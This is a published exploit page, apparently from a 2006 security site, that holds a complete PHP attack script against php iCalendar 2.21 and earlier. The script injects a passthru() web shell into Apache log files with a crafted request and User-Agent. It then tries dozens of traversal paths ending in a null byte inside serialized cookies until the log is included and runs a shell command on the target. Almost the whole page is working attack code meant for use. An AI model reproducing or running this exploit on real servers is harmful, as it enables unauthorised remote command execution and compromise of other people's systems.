exploits , vulnerabilities , articles , php iCalendar <= 2.21 (Cookie) Remote Code Execution Exploit

Rated as : High Risk

!/usr/bin/php -q -d short_open_tag=on
<?
echo "php iCalendar <=2.21
\"cookie_language\"/\"cookie_style\" remote cmmnds
xctn\r\n";
echo "-> arbitrary local inclusion through cookies\r\n";
echo "by rgod rgod<AT>autistici<DOT>org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

# short explaination: phpICal stores language & template user preferences
inside
# cookies. Theese values are used to include files, but there is no check
for
# "../" chars... also you can break path trough a null char
(%00) regardless of any
# magic_quotes_gpc settings, because they are serialized & we have a
stripslashes
# on them. This code inject a shell in Apache log files, then tries to
include
# it through phpicalendar[cookie_language] & phpicalendar[cookie_style]
cookies

if ($argc<3) {
echo "Usage: php ".$argv[0]." host path cmd
OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to phpICal\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpical/ ls
-la\r\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n";
$exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to
".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo
'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files...\r\n";
$CODE ='<?php ob_clean();echo 666;if (get_magic_quotes_gpc())
{$_GET[cmd]=striplashes($_GET[cmd]);}';
$CODE.='passthru($_GET[cmd]);echo 666;die;?>';
$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$serv."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);

# fill with possible locations
$paths= array (
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);

for ($i=0; $i<=count($paths)-1; $i++)
{
  $j=$i+2;
  echo "[".$j."] Trying with
".$paths[$i]."%00\r\n";
  $xpl=$paths[$i].chr(0x00);
  $phpicalendar['cookie_language']=$xpl;
  $phpicalendar['cookie_style']=$xpl;
  $xpl=urlencode(serialize($phpicalendar));
  $packet ="GET ".$p."day.php?cmd=".$cmd."
HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Cookie: phpicalendar=".$xpl.";
PHPSESSID=;\r\n";
  $packet.="Connection: Close\r\n\r\n";
  #debug, shows packets in a nice format
  #echo quick_dump($packet);
  sendpacketii($packet);
  if (strstr($html,"666")){
    echo "Exploit succeeded...\r\n";
    $temp=explode("666",$html);
    echo $temp[1];
    die;
  }
}
#if you are here...
echo "Exploit failed...";
?>
securitydot.net - 2006-03-15